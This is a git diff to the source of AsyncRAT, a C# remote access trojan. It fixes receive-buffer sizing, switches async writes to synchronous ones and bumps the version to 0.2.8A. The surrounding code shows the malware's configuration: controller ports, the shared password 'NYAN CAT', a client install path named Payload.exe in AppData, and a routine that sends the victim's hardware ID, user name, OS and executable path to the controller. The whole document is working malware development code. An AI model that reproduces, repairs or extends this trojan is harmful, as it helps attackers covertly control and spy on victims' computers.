diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index d626cd0..9f51c75 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 47536be..654ad02 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp public static List Online = new List(); public static List Blocked = new List(); public static string Port = "6606,7707,8808"; - public static readonly string Version = "AsyncRAT 0.2.8"; + public static readonly string Version = "AsyncRAT 0.2.8A"; public static long Sent = 0; public static long Received = 0; public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a103cfd..a6f80e9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -64,7 +64,7 @@ namespace AsyncRAT_Sharp.Sockets MS = new MemoryStream(); if (Buffersize > 0) { - Buffer = new byte[Buffersize - 1]; + Buffer = new byte[Buffersize]; BufferRecevied = true; } } @@ -80,7 +80,6 @@ namespace AsyncRAT_Sharp.Sockets try { HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); - } catch (CryptographicException) { @@ -153,8 +152,8 @@ namespace AsyncRAT_Sharp.Sockets { byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MEM.WriteAsync(buffersize, 0, buffersize.Length); - MEM.WriteAsync(buffer, 0, buffer.Length); + MEM.Write(buffersize, 0, buffersize.Length); + MEM.Write(buffer, 0, buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); Settings.Sent += (long)MEM.Length; diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 279bd04..a7a7e48 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -9,7 +9,7 @@ namespace Client { public static readonly string Ports = "6606" ; public static readonly string Host = "127.0.0.1" ; - public static readonly string Version = "AsyncRAT 0.2.8"; + public static readonly string Version = "AsyncRAT 0.2.8A"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index dbccc12..98940b5 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -35,7 +35,7 @@ namespace Client.Sockets ReceiveTimeout = -1, SendTimeout = -1, }; - Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), + Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); Connected = true; @@ -78,7 +78,7 @@ namespace Client.Sockets msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); - msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; @@ -128,7 +128,7 @@ namespace Client.Sockets MS = new MemoryStream(); if (Buffersize > 0) { - Buffer = new byte[Buffersize - 1]; + Buffer = new byte[Buffersize]; BufferRecevied = true; } } @@ -140,10 +140,10 @@ namespace Client.Sockets if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); - MS.Dispose(); - MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; + MS.Dispose(); + MS = new MemoryStream(); BufferRecevied = false; } else